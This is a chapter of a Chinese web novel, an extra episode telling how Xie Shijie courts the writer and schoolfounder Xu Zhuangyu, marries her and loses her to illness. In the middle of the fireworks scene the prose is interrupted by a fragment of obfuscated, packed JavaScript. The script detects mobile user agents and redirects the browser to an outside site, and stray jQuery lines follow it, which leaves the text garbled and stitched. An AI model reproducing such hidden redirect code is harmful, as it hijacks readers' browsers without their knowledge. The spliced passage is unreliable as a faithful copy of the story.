103. 番外3:哥哥嫂嫂

作品:《夫君他今天动心了吗

    暮春三月,淅淅沥沥下着小雨。


    谢世杰从翰林院出来时,正撞见老师的女儿前来送药被困于门前。


    他左右前后看了一圈,确定她没带伞,才敢上前打招呼:“徐娘子要是不介意的话,用我的伞回去吧。”


    “不用,我自己有马车。”她一口回绝,看都不看他一眼。


    虽说听旁人提到过她脾气不好的事,再怎么说也说老师的爱女,谢世杰自然不能坐视不理。


    此处毗邻宫城,闲杂人等的马车一律不能入内,只能停在皇城之外。


    谢世杰又道:“我刚好也要回家,正好顺路与你一道出去。”


    沉默,雨势渐大。


    这是他第一次见到徐庄与,心中着实好奇她是何模样,便悄悄转过头开看她。


    徐庄与侧着脸,仰头赏雨,朦胧水汽中隐约可见一张清秀的脸庞。


    还未来得及看清她全貌,她便转过头来,上下打量着他。


    谢世杰自小学的是身正不怕影子斜这套教诲,自己不做亏心事,何必躲着别人。


    两人目光交汇,各自丈量着对方,谢世杰的心扑通扑通剧烈跳动起来,那股灵秀之气让他心动不已。


    徐庄与此刻心中无比平静:无妨,一个毛头小子罢了。


    “撑伞,走吧。”


    谢世杰看得出神,被她的话猛地拽回心神,手忙脚乱地打开伞,许是太过于着急,怎么也打开。


    破伞,你倒是快开啊!谢世杰朝她尴尬一笑,面目狰狞地拼尽全力开伞。


    越着急,越是打不开。


    徐庄与无奈摇头,一把夺过油纸伞,轻而易举将伞打开。


    谢世杰:“……”


    到底是他不中用。


    她撑着伞,等了他一阵。


    “你走不走?”


    谢世杰才反应过来,她是在等自己,急忙走过来,弯腰站到伞下。


    细雨纷飞,落在伞面上啪嗒啪嗒作响。


    她撑着伞,步伐轻快,谢世杰努力跟上她的步伐。


    “徐姐姐,要不我来撑伞吧?”


    这点道理他还是知道的,哪有让女孩子给男人撑伞的道理。


    徐庄与不让:“你既叫我姐姐,我就更没有让弟弟为我撑伞的理由。”


    算了,管他什么姐姐弟弟的,他是男人,就该由他来成撑伞。


    谢世杰没有回答,直接抬手抓上伞柄,将撑伞之权抢回来,绕到她的另一侧来。


    “但我更想给姐姐撑伞。”


    哪怕撑一辈子的伞,他也愿意。


    乘上马车后,徐庄与掀起车帘,看到他被雨打湿的一侧肩身,微笑着问:“敢问郎君如何称呼,家住何处?”


    “晚生谢世杰。”


    “我记下了,等父亲回府,必定会未你美言一番,你只需想好去何处任职即可。”


    “徐姐姐,我不是这个意思……”


    语毕,车帘下,徐徐远去。


    谢世杰在雨中大喊,怎么都追赶不上她的马车。


    这下误会可闹大了。


    好在一个月后,谢世杰再次在书肆遇见她。


    那日,他去书肆买书,正好看到她在书肆里卖书,就想着同她解释那天的话。


    徐庄与却早已忘记此事,以为他是在提醒自己,忙着卖书的她,随口应付着他。


    “你叫什么来说,我怕记错人就没敢同父亲替你荐言。”


    她真的没忘了这件事,只是忘了他的名字,父亲的门生众多,她也怕举荐错了人。


    “我不是这个意思……”谢世杰缠着她要解释清楚,“那日我只是顺手,并不是想要你为我说什么话,真的没有。”


    人挤人的书肆,闹哄哄地围在徐庄与的书摊前,抢着要买她的书。


    谢世杰很快就被挤到人群外,他不甘心,今日一定要同她解释清楚,就硬着头皮往里挤。


    挤啊挤,终于挤进人群,刚来到她面前,还未说上话,就被一人揪着衣领拽出来。


    那人是徐庄与的三哥,在这里帮忙妹妹维护秩序,见他硬闯怕不是要骚扰妹妹,就将他给拽到书肆外来。


    徐三郎告诉他,要买书就得按照规矩好好排队。


    谢世杰说他不是来买书的,是有误会要同她解释清楚,迫不得已才出此下策。


    不买书,还要死皮赖脸来缠着妹妹,一看就不是好人。


    徐三郎当即叫人看着他,不许他进去捣乱,打搅妹妹卖书。


    徐庄与豆蔻之年写下《江南赋》,名声大噪,此赋更是被奉为大燕名篇。


    如今卖书,便是在为创办大燕第一家女学堂筹备资金。


    徐庄与的书很快被一扫而空,收拾好书摊出来,正巧碰到三哥在训人,赶忙过来劝和。


    了解之后方得知是一场误会,急忙代三哥同他道歉。


    徐三郎道过歉后,自言自语道:“我以为你和那些浪荡子是一伙的,也是来纠缠我妹妹的,这才……”


    “不碍事。”


    谢世杰长舒一口气,好在终于是解释清楚了。


    徐庄与再一次问了他的名字,在得知他信谢后,徐三郎的态度猝不及防地来了一个大转变,转成一副有事求人的姿态。


    “那……那令尊是不是御史台谢中丞?”徐三郎低声问。


    谢世杰点点头。


    徐三郎一听,狠狠拍了几下脑门,一个劲地同他道歉,谢世杰都愣住了。


    后来他才知道,徐三郎想拜他父亲为师,一直没摸到门道,这好不容易逮到机会,又得罪了人。


    那人就是谢世杰,御史中丞的儿子,这下彻底是拜师无望了。


    这件事,谢世杰的确无能为力,父亲行事严谨,用人做事无一例外,想要当他的门生,只能仰仗自身实力。


    好在徐三郎各方面实力过硬,顺利通过父亲的层层考验,最终如愿以偿拜入师门。


    那日一别后,足足有小半年,谢世杰都没有见到徐庄与,无意从徐三郎口中得到一点关于她的消息。


    她在家闭关写新书,不便打扰。


    那年秋天,谢世杰带着妹妹出府去翠湖赏枫时,看到她在湖边发呆。


    他以为自己看错了,揉了揉眼再看,湖边的那人真的是她,一时不知如何上前同她搭话。


    还是妹妹见他呆愣原地不肯走,就上手拽他,嚷着肚子饿,要去吃饸络面。


    就在他收回目光时,徐庄与恰好转过身来,看到了兄妹俩拉扯的场景。


    谢世杰顿时喜笑颜开,朝她招手:“徐姐姐!”


    徐庄与缓缓向他走来,视线却落在他手里牵着的女娃娃身上,小脸晒得红彤彤,模样十分可爱。


    “真是没想到,谢郎君还有这么一个可爱的女儿。”


    “女儿……”谢世杰已经习惯了,说明道,“她不是我女儿,是我妹妹。”


    也难怪别人总是认错,幼娘如今虽已是九岁,但平日里嘴叼,不大爱吃饭,个子比同龄人要矮,也显得年纪更小。


    幼娘见着她,不知怎么地就联想父兄给自己请的女夫子,总是打她手心,赶紧躲到兄长身后躲着。


    “怕怕,哥哥抱。”


    谢世杰赶紧弯下腰捞起妹妹,放到怀里抱着。


    徐庄与尴尬一笑:“真是抱歉,这些日子有些头昏眼花,总是会看错东西。”


    “无妨。”


    误会消除,谢世杰邀她一同去吃饸络面,她正好有些饿,就没有拒绝。


    三碗饸络面先后上桌,谢世杰没有着急先吃,而是将面吹凉,先喂给怀里的妹妹。


    幼娘一边吃,一边打量着坐在兄长对面的人,鼓着腮帮子问:“哥哥,美人姐姐也要吃面。”


    小孩子总是不会骗人的,正吃着面的徐庄与笑得合不拢嘴,被呛得咳了几声。


    谢世杰急匆匆地给她倒水,险先把面撒到妹妹身上,一阵手忙脚乱,把自己弄得满头大汗。


    他拿出帕子递过去,徐庄与微微颔首后接过去,低下腰来为幼娘擦嘴,而后也帮他擦了擦额头上的汗。


    幼娘眼巴巴望着她:“姐姐会打我吗?”


    这可把谢世杰吓坏了,急忙捂住妹妹的嘴,强颜欢笑解释道:“姐姐莫要误会,幼娘说的不是你,说的是家里请的女夫子。”


    借着这个由头,两人聊到女学堂的事情。


    谢世杰知道她想开办一家女学堂,就想为妹妹争取一个学位,奈何她说,女学堂只收普通百姓家的女子入学,不收官宦之家的之人。


    如此,他也只好作罢,赶紧换了一个说辞,若她有需要,他一定竭尽所能出手相助。


    徐庄与摇摇头,拒绝道:“多谢,我已筹够所有费用,只待找到合适的地方,便可开学。不过话说回来,我三哥的事还多亏了你,若是没有相助,想必他也不会如此顺利拜师入门。”


    谢世杰赶紧否认,与他无关,反而还要谢谢她为自己说话,自己才能顺利进入大理寺。


    没想到,她也说自己从未在父亲提过此事,两人就当是误会一场,没有再提。


    年底,徐庄与自费筹办的女学堂如期落成。揭牌当日,谢世杰带着妹妹一同前往祝贺,好好热闹一番。


    学堂出建成,麻烦不断,弄得徐庄与晕头转向,心焦体乏,有好几日差点昏死过去。


    这日,谢世杰下值后,借着同她借书给妹妹的由头来学堂找她,却发现她失魂落魄地坐在学堂门口。


    上前一看才发现她发烧了,赶紧带她去找医馆找大夫,并送她回家。


    马车上,徐庄与主动向他坦露心声:“谢郎君,我感觉自己快撑不下去了,所有事情并不像我所想的那般简单,教学的忙碌我可以坚持,世人的闲言碎语我也可以接受,唯独他们对我家人的冷嘲热讽,我的意气用事导致我无法面对他们,我好对不起他们……”


    她崩溃大哭。


    谢世杰知道她担心家人,想必也不想让家人看到自己的这幅模样,赶紧吩咐车夫改道,先去别处散散心。


    “姐姐可同我说,我虽势单力薄,但姐姐有难,我定会第一个站出来保护姐姐。”


    马车停在人烟稀少的小巷,哭声阵阵回荡在马车中。


    谢世杰时刻谨记男女授受不亲的教诲,尽量与她保持距离,免得被旁人看去,给她带来麻烦。


    可是见她哭得稀里哗啦,自己什么都不做,岂不是显得很绝情。


    他想起来在妹妹的话本子里看到的情节,女子哭时,特别需要男子的肩膀作为依靠,会让她感觉很安全。


    可他同徐娘子只是普通关系……算了,算了,马车里没人会看到的。


    谢世杰深吸一口气,慢慢靠近她,张开手臂将她揽入自己怀中。


    怀中的人哭得浑身颤栗不止,他像安抚妹妹那样,轻轻替他顺着背。


    “一切有我在,姐姐大可放心。”


    仔细想来,他过了年才十九岁,明年才及冠,为人处事稍显稚嫩实属正常。


    可要他突然要做一个女人后半生的依靠,明年得好好历练才行,及冠后就要开始商议婚事,然后娶妻生子,为人父母,不能再这样胆小怕事。


    那就从此刻开始吧。


    徐庄与搂着他哭了好长一阵,停止之后还牢牢抱着不放。


    眼看即将宵禁,谢世杰见她没了动静,想必是是哭累了,就让车夫驾车赶往徐府。


    期间,他小心翼翼为她擦干净脸,放置到马车令一侧,用身子作挡,防止她跌落下来受伤。


    来到徐府,他从马车上下来,叫人进去通传,叫来徐大郎将她抱回家中。


    回到家,幼娘小跑来迎接他,从他身上嗅到了女子体香,笑着说:“是姐姐的味道。”


    他赶紧叫妹妹噤声糊弄过去。


    三日后,徐庄与学堂休学,前来谢府找他,邀他一同去赏梅表示感谢。


    谢世杰早早注意她脸上的奇怪东西,譬如粗如手指的浓眉,以及比红梅还艳的双颊和口脂,久久挪不开眼睛。


    这不是幼娘偷拿母亲的胭脂水粉,在脸上瞎画才会弄出来的东西吗?怎么她脸上也会有这些东西。


    谢世杰也不敢提出质疑,毕竟当众指点女子妆容有异是不礼貌的,可她这个样子实在有些难以启齿。


    徐庄与也在留意着他的反应,见到几次欲言又止,便问:“是我脸上有脏东西吗?”


    “嗯……”


    谢世杰鬼使神差般地点头了,随即从怀里拿出帕子给她,她说自己也看不到,让他帮忙擦一擦。


    他勉为其难动手帮她擦拭,先是擦掉浓厚的眉毛,再是脸颊,最后的嘴唇他实在不敢擦,便让她自己来擦。


    徐庄与一边擦着嘴上的口脂,一边交代他不要将那日的事情说出去,最后又问了他的年纪。


    得知他比自己小一岁时,心中甚是失落。此前以为他叫自己姐姐,是同其他人一样调侃她是老姑娘,才唤她姐姐。


    没想到,自己还真是他的姐姐。


    徐庄与那日亲自谢过他之后,便有意避开他,不再同他见面。


    毕竟自她情绪崩溃之后,谢世杰每日都来学堂门口转悠,帮她驱赶走那些看热闹的事。


    一来二去,谢世杰也有所察觉,她在躲着他,怎么都想不明白其中的原因。


    还是徐三郎提醒了他,曾立誓不嫁人的徐庄与对他动了心,但在得知他比自己小一岁时,便对此不再抱有一丝希望。


    一语点醒梦中人,谢世杰当场被男女之前的任督二脉,在心中暗暗发誓,一定要让她回心转意。


    年后,谢世杰一连好几日守在学堂门口,终于逮到与她见面的机会。


    “姐姐为何要躲我?有什么话不能当面说清楚,我是什么很难缠的人吗?”谢世杰直接问她。


    徐庄与笑了笑:“我没有躲着郎君,只是想好好将心思放在学堂上,难免忽略了一些事,不知是哪里冒犯到了郎君?”


    “没有,是我唐突了。”谢世杰态度柔和,“我只是想知道姐姐为何突然不理我了?”


    徐庄与微微一怔,他怎么知道自己在躲着他……


    “我没有躲着任何人。”她否认道。


    谢世杰答了声“好”,顺着她的话说:“既然姐姐没有躲我,我正好有一些事要同姐姐说。”


    他停顿了一会,看向她:“我心悦姐姐,想娶姐姐为妻,姐姐可否愿意嫁于我?”


    徐庄与心中又惊又喜,还是拒绝了他:“我无心婚嫁,还望郎君早日再觅良缘。”


    她转身离去,不给他任何一丝希望。


    “我知道,我都知道。”谢世杰追赶上来,语气铿锵有力,“我知道姐姐无心婚嫁,不想生育子女,担心影响自己操劳内事,无心打理学堂。我自会照顾好家中,有无子嗣都不要紧,一切全凭姐姐做主,还望姐姐给我一个机会。”


    徐庄只想赶紧将他打发走,随口一声:“你且都听听自己都在说些什么,还未及冠就想着娶妻,小小年纪不学好,竟只会谈情说爱,早知如此,当初我就不该向父亲为你说好话!”


    “就是因为爱慕姐姐,才如此着急同姐姐说清楚,我害怕姐姐突然要嫁给别人。如今说明白,就是想姐姐给我一个机会,再等我一年,等我明年及冠,便立即来向姐姐提亲。”谢世杰向她承诺。


    她惯不会直接拒绝别人,只好委婉拒绝他。


    “我无心婚嫁是因为我无法生育,也不能接受枕边人还有其他人,如今也不怕你笑话我,我本就是这样一个人。”


    “我愿意,不知姐姐愿不愿意给我一个机会?”


    “好!”她转过身来,指着他身后干枯的树,“你能让那棵树开出花来,我就给你一个机会证明自己,不过我等不了太久,三天为期。”


    谢世杰心中已有答案:“不用三天,一天就够了。”


    一天过后正是上元节,通宵达旦,正是良机。


    徐庄与早早来到约定地点,望着干枯的树干出神,这是一棵梧桐树,只会长出叶子,一辈子无花无果。


    让它开花,华佗在世怕是也无计可施。


    就在她出神时,感觉有人在拉自己的衣角,低头一看竟是幼他的妹妹幼娘。


    抬眼一看,他正在站在梧桐树下,地上摆满了好些盒子。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874182|158841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谢世杰走过来,让妹妹捂好耳朵,随即示意仆役动手。


    几个仆役掏出火折子,点燃盒子的中的引线,一道道华丽亮光升空,在黑夜中炸开,仿佛朵朵银花在树梢上迎风绽放。


    幼娘蹦蹦跳跳,激动拍掌:“哥哥,看树开花了!”


    焰火绽放完毕,徐庄与心里有了答案,看向他怀中早已睡着的幼娘,同意给他这个机会。


    但在此期间一年,不能见面,互不打扰,若一年后他心意还未改变,就前来徐府提亲。


    分开之际,谢世杰最后再问她一句:“姐姐可否提前将你的名字告诉我,免得我认错了人。”


    “徐庄与,家中人唤我四娘,你亦可唤我庄姐。”


    “那就劳烦庄姐再辛苦等我一年,一年后我必携厚礼到贵府提亲。”


    急不可待的谢世杰回府第二天就同母亲说了此事,央求母亲想想办法,赶紧先将这门婚事定下,免得心仪之人被别人要了去。


    此事遭到父亲母亲一顿呵斥,让他好好将心思放在公事上,待他及冠后自会为他去议亲。


    谢世杰觉得那一年过得特别慢,好不容易熬到新的一年,还要等到五月,过了生辰之日,加冠取字后,父亲母亲才着手准备为他议亲之事。


    媒婆前去徐家提亲后,徐家二话不说便答应了,然后是问名,纳吉等一系列程序走完,然后才定下婚期。


    婚期本来是想定在明年开春之后,奈何谢世杰着急,便选定在腊月初二。


    的确很着急。


    成婚当日,应付完所有人,谢世杰便急匆匆跑到婚房来见自己的妻子。


    这最后的周公之礼可让他犯了难,此前徐庄与为了拒绝他,编造自己不能生育来劝退他,如今发现是谎言。


    谢世杰答应了她,绝不会让她为难,至于子嗣可有可无,为了她考虑,没有是最好,可这礼到底要不要行,行了之后万一让她有了孩子……


    他坐在地上发呆,一时不知该如何是好。


    徐庄与举着团扇瞥了他一眼,见他不肯上床来就猜到他心中的顾虑,便用团扇推了推他。


    “夫君,还等什么呢,洞房花烛,可耽误不得。”


    一声夫君叫得他全身酥软,欲罢不能,摸索着坐到床上来。


    “万一有了孩子怎么办?”


    “那就生啊!难道你不想同我有孩子吗?”


    他还是很为难:“我这不是担心你嘛……”


    “快点,哪有新婚夜不行周公之礼的,传出去别人可又要笑话我了。”徐庄与让他莫耽误了及时。


    再她再三催促后,谢世杰终于肯为她解发宽衣,放下帐子蠢蠢欲动。


    徐庄与主动揽上他的脖子,亲他,剩下的交给他。


    匆匆一回合结束,谢世杰累到气喘吁吁,她却毫无感觉,用帕子擦拭过后,发现没有落红,十分郁闷。


    谢世杰搂着她,让她宽心:“我母亲不是迂腐之人,家中也没有别人,明日就说我们太累,什么都没发生就行。”


    她担心的不是落红,是这礼到底有没有成,不是说会痛,她怎么一点感觉都没有。


    肯定是礼还没成,她还是很期待这个礼的,毕竟书上说这是一种让人可以体会到飘飘欲仙的乐趣。


    婚都成了,自然不能少了这番乐趣。


    谢世杰休息好了之后,又被赶鸭子上架,嘱咐他这礼不成,今夜谁都不能睡。


    历尽千帆,只有痛,很痛,匆匆结束。


    第二日一早,两人顺利交了差,如释重负地休息了一段时间。


    回门回来之后,谢世杰便把挂在帐子上的福袋全部摘掉,扔得远远的。


    礼虽成了,但两人都还为尝够,但也有所收敛。毕竟谢世杰担心她被孩子困与内宅,每次都是见好就收。


    徐庄与却安慰他,自己去找副药来吃就好,谢世杰还是担心,便让她多抓两副药,他也一起吃,双管齐下更安心一些。


    她并不排斥生育,并且还是想同他有一两个孩子,当初之所以答应他,便是看在他家中有一个可爱的妹妹的份上,这才松口的。


    她有三个哥哥,唯独没有妹妹,她一直想有一个妹妹。


    要是她也有这样一个女儿就好了,将来还能接替自己,继续打理韶华学堂。


    幼娘也甚是喜欢她,在回门之后,还想着要来跟她睡,被谢世杰拒绝了。


    徐庄与心疼她,在幼娘再次提出想跟她睡时,抢先一步答应下来。


    于是乎,晚上就出现了新婚夫妇三日同屋的尴尬局面,幼娘满心欢喜早早带着枕头来到兄长的房间等着。


    她是趁着兄长沐浴时,赶紧跑过来的,见到嫂嫂又有点害怕,抱着枕头站在门口不敢进来。


    徐庄与见她连鞋子都没穿,担心她着凉赶紧把她带到床上来,自己睡里侧,让她睡中间,丈夫睡外侧。


    谢世杰洗漱好回房,看到妻子正哄着妹妹睡觉,妹妹见着他有些害怕,一个劲往妻子怀里钻。


    他无奈叹气:“我还有些书要看,你们先睡着。”


    妹妹的生活习惯他还是了解的,能吃能睡,睡得快也睡得沉,打雷都叫不醒。


    一切如他所料,幼娘很快便睡着了,任凭他怎么叫都叫不醒,他立即抱起她送回房去。


    徐庄与也跟着一起护送回来,并且问出困扰多日的问题:“你妹妹怎么比你小那么多,真不是你女儿吗?”


    谢世杰只好同她解释清楚,说是幼年时家贫,养不了那么多孩子,且母亲身体不好,一直等到父亲升官有了府邸后,母亲调养好身体好不容易才得了这么一个女儿。


    老来得女,的确不容易。


    许是老天爷听到她的心声,在双管齐下的作用下,徐庄与成婚后第二年便有了身孕。


    夫妻俩满心欢喜等待十个月,分娩之日,老天却同他们开了个玩笑。


    女儿变儿子,徐庄与只好安慰自己,养好身子再生一个就好了。


    长顾这个名字是谢世杰取的,儿子跟他姓,他自己来娶名字,女儿随妻子姓,由妻子自己来定夺。


    自生下儿子后,徐庄与给孩子找了乳母,托婆母一起帮忙照看孩子,继续忙着学堂的事情。


    学堂的事情开始步入正轨,有条不紊的进行着,她也开始计划着找人来接替自己。


    起初想的是让幼娘来帮自己,可那丫头实在不爱读书,读书就开始犯困,唯独对制茶感兴趣,她也不好强求。


    徐庄与只能将希望寄托在自己腹中的第二个孩子身上,在长顾五岁这年,她再次遇喜。


    这一胎来得不容易,先是丈夫不忍她再次生子,她软磨硬泡好一阵才得到的同意。


    从发现怀胎开始,她的反应比怀长顾时更大一些,除了恶心想吐,还时常腹痛。


    看过大夫,大夫说是怀孕初期胎气不稳导致的,让她好好休息,安心养胎。


    为此,她第一次为了孩子暂时搁置学堂的时候,就是如此精心养护的情况之下,那个孩子最终还是没保住。


    虽是个已经成型的男胎,她也是做母亲的人,怎会不痛心。也不知是她伤心过度,还是旁的什么,小产之后竟出现崩漏不止的病症。


    一副又一副药灌下去,还是不见好,她开始担心起来,要是自己死了学堂该怎么办……


    那年冬天下了好大一场雪,冻得她浑身发抖,盖了好几床被子还是觉得好冷。


    到了腊月,她的视线开始变得模糊,甚至看不清儿子的脸,大夫说她大抵熬不过这一年了。


    谢世杰安慰她,一定会找到最好的大夫来治好她。


    最后一夜,她望着身侧熟睡的儿子,同他说:“今年的枯树开花了吗?”


    谢世杰点了满屋的蜡烛,打开窗子,叫人在院子里放焰火。


    “不用为我守孝,赶紧再娶一个,这样长顾就不会记得我这个无情无义的母亲。”


    谢世杰含泪点头答应她。


    “下辈子……我就不等你了。”


    “庄姐,下辈子换我等你。”


    庄姐,你再等等我好不好……


    她听到了,她愿意等。